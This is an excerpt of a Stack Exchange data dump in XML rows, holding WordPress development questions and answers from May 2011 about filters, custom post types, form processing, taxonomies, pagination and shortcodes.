  <row Id="17199" PostTypeId="1" AcceptedAnswerId="17252" CreationDate="2011-05-14T00:37:57.937" Score="1" ViewCount="123" Body="&lt;p&gt;Can't figure out why this won't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_get_attachment_link($html){&#xA;    $postid = get_the_ID();&#xA;    $html = str_replace('&amp;lt;a','&amp;lt;a rel=&quot;shadowbox['.$postid.']&quot;',$html);&#xA;    return $html;&#xA;}&#xA;add_filter('wp_get_attachment_link','my_get_attachment_link',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just trying to hook up all the images on a single post view to a lightbox script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, this didn't work either: &lt;a href=&quot;http://wordpress.mfields.org/2010/thickbox-for-wordpress-gallery/#highlighter_196509&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.mfields.org/2010/thickbox-for-wordpress-gallery/#highlighter_196509&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be jamming it up?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-14T21:37:53.647" Title="Can't filter wp_get_attachment_link" Tags="&lt;functions&gt;&lt;filters&gt;&lt;attachments&gt;&lt;links&gt;&lt;add-filter&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17200" PostTypeId="1" AcceptedAnswerId="17202" CreationDate="2011-05-14T00:51:35.533" Score="1" ViewCount="109" Body="&lt;p&gt;I had a theme in 3.0b2 that was registering custom post types and displaying them in the admin menu just fine -- after upgrading to 3.1.2, they no longer appear in the sidebar admin menu (although they do get queried properly from the theme pages for the non-admin portions of the site).  &lt;code&gt;show_ui&lt;/code&gt; is set to &lt;code&gt;true&lt;/code&gt; and adding &lt;code&gt;show_in_menu&lt;/code&gt; as true for good measure had no effect.  Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function balmer_init() {&#xA;&#xA;//print (&quot;Here&quot;);&#xA;&#xA;register_post_type('gig', array(&#xA;    'label' =&amp;gt; __('Gigs'),&#xA;    'singular_label' =&amp;gt; __('Gig'),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    '_builtin' =&amp;gt; true,&#xA;    '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; false,&#xA;    'query_var' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title', 'editor',/* 'custom-fields' */),&#xA;    'register_meta_box_cb' =&amp;gt; 'gig_callback',&#xA;));&#xA;}&#xA;&#xA;add_action(&quot;init&quot;,&quot;balmer_init&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5357" LastActivityDate="2011-05-14T01:25:33.700" Title="Custom post type menu missing after 3.0b2 -&gt; 3.1.2 upgrade" Tags="&lt;custom-post-types&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="17201" PostTypeId="1" CreationDate="2011-05-14T01:16:45.967" Score="1" ViewCount="84" Body="&lt;p&gt;I'm looking for a simple way for a Wordpress plugin to process &lt;code&gt;$_POST&lt;/code&gt; data from a &lt;strong&gt;user&lt;/strong&gt; submitted form.  Back end processing will be performed and then I'll redirect to a new page as appropriate — so during processing there is no UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to take a form submit such as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;form method=&quot;post&quot; action=&quot;/back-end-processing.php&quot;&amp;gt;&#xA;     &amp;lt;input type=&quot;text&quot; name=&quot;text&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;   &amp;lt;/form&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and process it like I would with PHP but still be able to use WP's &quot;nonce&quot; protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples I've seen suggest that I should use &lt;code&gt;admin-post.php&lt;/code&gt; but I was concerned that it should only be used for actual &lt;strong&gt;admins&lt;/strong&gt; and not for general &lt;strong&gt;users&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach suggested...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function checkCheckBox()&#xA;{&#xA;    if($_POST['checkbox'] == 1)&#xA;    {&#xA;       return true;&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&#xA;add_action('init', 'checkCheckBox');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...however, this seems like overkill because it will be called for every page while my site visitors will only be posting data to it infrequently.&lt;/p&gt;&#xA;" OwnerUserId="5356" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-14T12:36:49.843" LastActivityDate="2011-05-14T21:34:57.207" Title="Looking for a simple approach for handling user $_POST data without AJAX?" Tags="&lt;forms&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17202" PostTypeId="2" ParentId="17200" CreationDate="2011-05-14T01:25:33.700" Score="2" ViewCount="" Body="&lt;p&gt;Remove the errors in your registering function:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;'Gigs'&lt;/code&gt; is not part of the default language file. Either add your text domain as second parameter or drop the translation function.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'_builtin' =&amp;gt; true&lt;/code&gt; is wrong. Remove the parameter; it is for native post types only.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;'supports' =&amp;gt; array('title', 'editor',/* 'custom-fields' */),&lt;/code&gt; – the comma after &lt;code&gt;editor&lt;/code&gt; is a syntax error. &lt;a href=&quot;http://andrewnacin.com/2010/04/23/5-ways-to-debug-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Turn debugging on&lt;/a&gt; to see such errors.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-14T01:25:33.700" />
  <row Id="17203" PostTypeId="2" ParentId="17196" CreationDate="2011-05-14T02:41:15.687" Score="1" ViewCount="" Body="&lt;p&gt;This might work for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://perishablepress.com/user-submitted-posts/&quot; rel=&quot;nofollow&quot;&gt;http://perishablepress.com/user-submitted-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-05-14T02:41:15.687" CommentCount="1" />
  <row Id="17204" PostTypeId="1" AcceptedAnswerId="17207" CreationDate="2011-05-14T04:33:23.470" Score="1" ViewCount="77" Body="&lt;p&gt;Say I just have a dumb .php file sitting on my WP server and I wanted it to access WP info through the API, how would I go about doing that? For example if I wanted to call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bloginfo('url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I have scored myself a downvote (with no explanation) I will expound upon why I am interested in this. Sure I can access WP API from all the built-in pages. But let's say I have a page that has little to do with WP. Seems like a lot of overhead to create say a custom template page and then hook it into an actual post, all so that I can have access to a few WP API calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require $_SERVER['DOCUMENT_ROOT'].'/wp-blog-header.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditorDisplayName="" LastEditDate="2011-05-14T15:08:59.607" LastActivityDate="2011-05-14T15:08:59.607" Title="Hook any php file into the wordpress api" Tags="&lt;hooks&gt;&lt;api&gt;" AnswerCount="1" />
  <row Id="17207" PostTypeId="2" ParentId="17204" CreationDate="2011-05-14T05:17:07.913" Score="2" ViewCount="" Body="&lt;p&gt;You mean something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require 'path/to/wordpress/wp-blog-header.php';&#xA;bloginfo('url');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-05-14T05:17:07.913" CommentCount="3" />
  <row Id="17208" PostTypeId="1" AcceptedAnswerId="17209" CreationDate="2011-05-14T06:12:09.853" Score="2" ViewCount="48" Body="&lt;p&gt;Is there a way to use the &lt;code&gt;register_taxonomy&lt;/code&gt; function to create child taxonomies to a specific parent taxonomy in a hierarchical structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: Let's say I'm creating a theme for selling cars where users can activate it and it automatically creates a hierarchical taxonomy called &quot;Make&quot;.  Is there any way to have it automatically create a few different vehicle &quot;make&quot; taxonomies, say Toyota, Lexus, etc.?&lt;/p&gt;&#xA;" OwnerUserId="5268" LastActivityDate="2011-05-14T06:33:02.343" Title="Create Child Taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="17209" PostTypeId="2" ParentId="17208" CreationDate="2011-05-14T06:33:02.343" Score="3" ViewCount="" Body="&lt;p&gt;I think you mean you want to create terms in your taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6248/theme-activate-hook&quot;&gt;this answer&lt;/a&gt; for detecting when a theme is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term&lt;/a&gt; to insert the terms into your taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-14T06:33:02.343" />
  <row Id="17210" PostTypeId="1" CreationDate="2011-05-14T07:04:04.633" Score="1" ViewCount="111" Body="&lt;p&gt;I see that you solved the problem of a WordPress user memo-maritime two years ago &quot;Same posts from my homepage is on all of my different pages&quot;.The same problem i have.What should I do?I installed Pagenavi but not working.Theme by default(default.php) is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;fix&quot; style=&quot;height:20px&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;ar hl3&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('woo_archives'); ?&amp;gt;&quot; class=&quot;more&quot;&amp;gt;&amp;lt;?php _e('SEE MORE ARTICLES IN THE ARCHIVE',woothemes); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/box--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I installed pagenavi and I modified it in blog.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;  &#xA;&#xA;&amp;lt;div class=&quot;fix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in default.php I left as I mentioned above, nothing happens anyway, I tried.Contrary send me the exactly same page that is repeated on all 3 pages.I tried to fixed many times, but nothing happens,the same..I do not know exactly where would be this issue, maybe it is not there.If I change the theme,works!So the problem is the current theme..this function is repeated somewhere&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5361" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-14T12:38:35.020" LastActivityDate="2011-05-14T12:38:35.020" Title="Same posts from my homepage are on all of my different page" Tags="&lt;plugin-wp-pagenavi&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17211" PostTypeId="1" CreationDate="2011-05-14T07:22:25.723" Score="0" ViewCount="113" Body="&lt;p&gt;While i upload  xml file to my site ,  the following error message occur and uploading fail&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, there has been an error. File&#xA;  is empty. Please upload something more&#xA;  substantial. This error could also be&#xA;  caused by uploads being disabled in&#xA;  your php.ini or by post_max_size being&#xA;  defined as smaller than&#xA;  upload_max_filesize in php.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't edit the stuff mentioned in above (php.ini) becoz of mine is hosted on shared hosting &#xA;and i don't wanna migrate from  database or something like that .  Is there a ways from migrating from wordpress scope ???         &lt;/p&gt;&#xA;" OwnerUserId="5362" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-14T11:16:59.227" LastActivityDate="2011-05-31T14:28:52.623" Title="can't import xml file" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17212" PostTypeId="2" ParentId="14672" CreationDate="2011-05-14T07:43:36.947" Score="0" ViewCount="" Body="&lt;p&gt;I had your same requirements for a site I am developing now. I used successfully the following two plugins to help creating custom post type and meta boxes directly in admin area: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only required code is creating a page-.php inside you theme folder and then use code similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'Name', true); ?&amp;gt; &quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'Title', true); ?&amp;gt;&quot;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to retrieve and format as you want the information provided in metaboxes.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-05-14T07:43:36.947" />
  <row Id="17213" PostTypeId="2" ParentId="17191" CreationDate="2011-05-14T07:47:21.733" Score="3" ViewCount="" Body="&lt;p&gt;I've just discovered that /$SITENAME/wp-content redirects to /wp-content, so that my visitors don't load the themes three times.&lt;/p&gt;&#xA;" OwnerUserId="5354" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-05-15T19:28:06.600" LastActivityDate="2011-05-15T19:28:06.600" CommentCount="1" />
  <row Id="17214" PostTypeId="2" ParentId="17210" CreationDate="2011-05-14T10:54:04.863" Score="1" ViewCount="" Body="&lt;p&gt;try to do the following in /layouts/default.php (and /layouts/blog.php):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;change the query line (line 5) to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_reset_query();&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : (get_query_var('page') ? get_query_var('page') : 1 );&lt;br&gt;&#xA;$the_query = new WP_Query('cat=-'. $GLOBALS[ex_feat] . ',-' . $GLOBALS[ex_vid] . '&amp;amp;showposts=' . get_option('woo_other_entries') . '&amp;amp;orderby=post_date&amp;amp;order=desc&amp;amp;paged=' . $paged);&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;also add &lt;code&gt;wp_reset_query();&lt;/code&gt; before the line with &lt;code&gt;wp_pagenavi();&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;make backup copies before editing.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-14T10:54:04.863" CommentCount="1" />
  <row Id="17215" PostTypeId="2" ParentId="17194" CreationDate="2011-05-14T12:21:45.677" Score="2" ViewCount="" Body="&lt;p&gt;As per Wordpress Codex its best to register and queue your scripts with the hook dedicated for them, even if you want your script to be added to footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the correct way of doing it will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jupload_scripts() {&#xA;    wp_enqueue_script( 'jquery-ui', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js', array('jquery'), '1.8.6', true );&#xA;}&#xA;add_action( 'admin_print_scripts', 'jupload_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-15T10:40:41.630" LastActivityDate="2011-05-15T10:40:41.630" CommentCount="7" />
  <row Id="17216" PostTypeId="2" ParentId="17201" CreationDate="2011-05-14T12:32:40.993" Score="1" ViewCount="" Body="&lt;p&gt;The best way to process the custom form is the following. If you are using nonce then you don't really have to check $_POST['checkbox'], the code below can be used simply to verify_nonce and then process the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function process_my_form() {&#xA;    if ( wp_verify_nonce( $_POST['my_nonce_field'], 'my_nonce' ) ) {&#xA;        // process your form here&#xA;        // you can also redirect and call exit here.&#xA;    }&#xA;}&#xA;add_action( 'init', 'process_my_form' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you still you want to submit your form to a custom php script, then load the wp-blog-header.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;define('WP_USE_THEMES', false);&#xA;require('./wp-blog-header.php');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-14T15:10:53.177" LastActivityDate="2011-05-14T15:10:53.177" CommentCount="1" />
  <row Id="17217" PostTypeId="1" CreationDate="2011-05-14T12:33:50.837" Score="1" ViewCount="182" Body="&lt;p&gt;I'm probably doing this all wrong, and there'll be a much simpler solution. Basically, I'm trying to build a table of tour dates that'll be editable by someone with little technical knowledge, but can handle shortcodes. There's also some custom functions in the table (with regards to displaying the date, and having an expiring ticket link) that makes me want to avoid a clunky table plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the code I'm experimenting with, that's working apart from it's introducing a &lt;br /&gt; tag for each new line of and separate short code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to disable wpautop completely, as it's used widely throughout the website and elsewhere on the page that this table will be appearing on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[tour_table tour_name=&quot;The Tour Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[tour_table_line tour_date=&quot;2011-06-19&quot; ticket_link=&quot;http://ticket.link/&quot; venue=&quot;The Venue Name&quot;]&#xA;[/table]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parsing of the table is all handled in functions.php by the wrapping function tour_table() and the function [tour_table_line] which is executed inside a do_shortcode() function (from the wrapping function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the basic problem is that each new line is earning itself a new &lt;br /&gt; tag, which is placing a massive space above the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any more elegant solutions, or can help me get the functionality I'm looking for, I'd be very appreciative of your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more detail, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add functions (probably quite a bit of convoluted code in there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tour_table($atts,$content = null){&#xA;    extract( shortcode_atts( array(&#xA;        'tour_name' =&amp;gt; '',&#xA;        'anchor_table' =&amp;gt; ''&#xA;    ), $atts ) );&#xA;&#xA;    if($anchor_table!=&quot;&quot;){&#xA;        $hid = &quot;id=\&quot;tourscrollto\&quot;&quot;;&#xA;    }else{&#xA;        $hid = &quot;&quot;;&#xA;    }&#xA;&#xA;    $theoutput = &quot;&amp;lt;h3 $hid style=\&quot;text-align: left; font-weight: strong; font-size: 12pt; margin-top: 20px;\&quot;&amp;gt;&quot;;&#xA;    $theoutput .= $tour_name;&#xA;    $theoutput .= &quot;&amp;lt;/h3&amp;gt;&amp;lt;table class=\&quot;tourdates\&quot; style=\&quot;font-size: 10pt;\&quot; width=\&quot;100%\&quot;&amp;gt;&amp;lt;tbody&amp;gt;&quot;;&#xA;    $theoutput .= do_shortcode($content);&#xA;    $theoutput .= &quot;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&quot;;&#xA;    return $theoutput;&#xA;}&#xA;&#xA;function tour_table_line($atts){&#xA;    extract( shortcode_atts( array(&#xA;        'tour_date' =&amp;gt; '',&#xA;        'ticket_link' =&amp;gt; '',&#xA;        'venue' =&amp;gt; 'The Venue'&#xA;    ), $atts ) );&#xA;&#xA;    $date_original = $tour_date;&#xA;    $date_unix = strtotime($tour_date);&#xA;&#xA;    $theoutput = &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot;;&#xA;    $theoutput .= date('D',$date_unix);&#xA;    $theoutput .= &quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;;&#xA;    $theoutput .= date('j M',$date_unix);&#xA;    $theoutput .= &quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;;&#xA;    $theoutput .= $venue;&#xA;    $theoutput .= &quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;;&#xA;    //$ticketlink = ticketlinkexpire($date_original,&quot;&amp;lt;a href=\&quot;$ticket_link\&quot; target=\&quot;_blank\&quot;&amp;gt;Buy Tickets&amp;lt;/a&amp;gt;&quot;,&quot;&quot;);&#xA;    //$theoutput .= $ticketlink;&#xA;    $theoutput .= &quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;&#xA;    return $theoutput;&#xA;&#xA;}&#xA;&#xA;add_shortcode( 'tour_table' , 'tour_table' );&#xA;add_shortcode( 'tour_table_line' , 'tour_table_line' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5363" LastEditorUserId="5363" LastEditorDisplayName="" LastEditDate="2011-05-14T13:50:49.193" LastActivityDate="2011-08-15T13:24:39.160" Title="Creating a table from shortcode avoiding wpautop for each row" Tags="&lt;functions&gt;&lt;shortcode&gt;&lt;wp-autop&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="17218" PostTypeId="1" AcceptedAnswerId="17220" CreationDate="2011-05-14T12:40:33.333" Score="0" ViewCount="174" Body="&lt;p&gt;How can I add a CSS Class to the &lt;code&gt;previous_post_link&lt;/code&gt; output or just get the URL and create the HTML markup myself&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-05-15T12:34:46.387" Title="How to add CSS Class to previous_post_link or get previous/next post link URL" Tags="&lt;pagination&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="17219" PostTypeId="2" ParentId="17218" CreationDate="2011-05-14T12:49:44.497" Score="0" ViewCount="" Body="&lt;p&gt;You could put an element around the function call and style it that way. Like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;previous_post_link&quot;&amp;gt;&amp;lt;?php previous_post_link('%link'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then control the link in the css. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.previous_post_link a { some styles here } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-14T12:49:44.497" />
  <row Id="17220" PostTypeId="2" ParentId="17218" CreationDate="2011-05-14T12:53:35.173" Score="2" ViewCount="" Body="&lt;p&gt;You can use the more native function that is &quot;below&quot; the &lt;code&gt;previous_/next_post_link();&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get_adjacent_post( $in_same_cat = false, $excluded_categories = '', $previous = true )&#xA;$next_post_obj  = get_adjacent_post( '', '', false );&#xA;$next_post_ID   = isset( $next_post_obj-&amp;gt;ID ) ? $next_post_obj-&amp;gt;ID : '';&#xA;$next_post_link     = get_permalink( $next_post_ID );&#xA;$next_post_title    = '&amp;amp;raquo;'; // equals &quot;»&quot;&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $next_post_link; ?&amp;gt;&quot; rel=&quot;next&quot; class=&quot;pagination pagination-link pagination-next&quot;&amp;gt;&#xA;    &amp;lt;?php echo $next_post_title; ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-15T12:34:46.387" LastActivityDate="2011-05-15T12:34:46.387" />
  <row Id="17221" PostTypeId="2" ParentId="17217" CreationDate="2011-05-14T13:20:59.667" Score="0" ViewCount="" Body="&lt;p&gt;Have you heard of &lt;a href=&quot;http://gigpress.com/&quot; rel=&quot;nofollow&quot;&gt;gigpress&lt;/a&gt; ? This would give you the functionality you want in a nice wordpress like way (user friendly input). It would mean you'd have to throw some code away and modify your theme, but would save you a lot of time in the long run. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-05-14T13:20:59.667" CommentCount="1" />
  <row Id="17222" PostTypeId="1" AcceptedAnswerId="17223" CreationDate="2011-05-14T13:30:49.663" Score="1" ViewCount="98" Body="&lt;p&gt;Is there a way to show a list of all categories available even if there are no posts associated with them. So if there is a post in that category then it echos a link and if not it just echos out the name of the category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using wp_list_categories() to show them...&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2011-05-14T13:36:04.497" Title="Show list of categories even if they have no posts" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="17223" PostTypeId="2" ParentId="17222" CreationDate="2011-05-14T13:36:04.497" Score="2" ViewCount="" Body="&lt;p&gt;There's an argument called &lt;code&gt;hide_empty&lt;/code&gt; which is true by default.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('hide_empty' =&amp;gt; FALSE);&#xA;wp_list_categories($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-14T13:36:04.497" CommentCount="1" />
  <row Id="17224" PostTypeId="1" AcceptedAnswerId="18200" CreationDate="2011-05-14T13:44:03.093" Score="2" ViewCount="295" Body="&lt;p&gt;I created 1 custom post type with 2 custom taxonomy. Installed &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/json-api/&lt;/a&gt; and tried to reach result with: &#xA;&lt;a href=&quot;http://example.com/api/get_recent_posts?dev=1&amp;amp;post_type=myposttype&quot; rel=&quot;nofollow&quot;&gt;http://example.com/api/get_recent_posts?dev=1&amp;amp;post_type=myposttype&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;well it gives me custom posts but not giving those post's custom taxonomies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;categories&quot;: [],&#xA;  &quot;tags&quot;: [],&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i query custom taxonomies with json api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually i am trying to create a simple iphone app with jquery mobile + phonegap. Maybe you know a better way then json api?&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-14T14:02:29.440" LastActivityDate="2011-05-26T14:44:17.210" Title="wordpress json custom taxonomy problem" Tags="&lt;jquery&gt;&lt;mobile&gt;&lt;iphone&gt;" AnswerCount="4" FavoriteCount="1" />
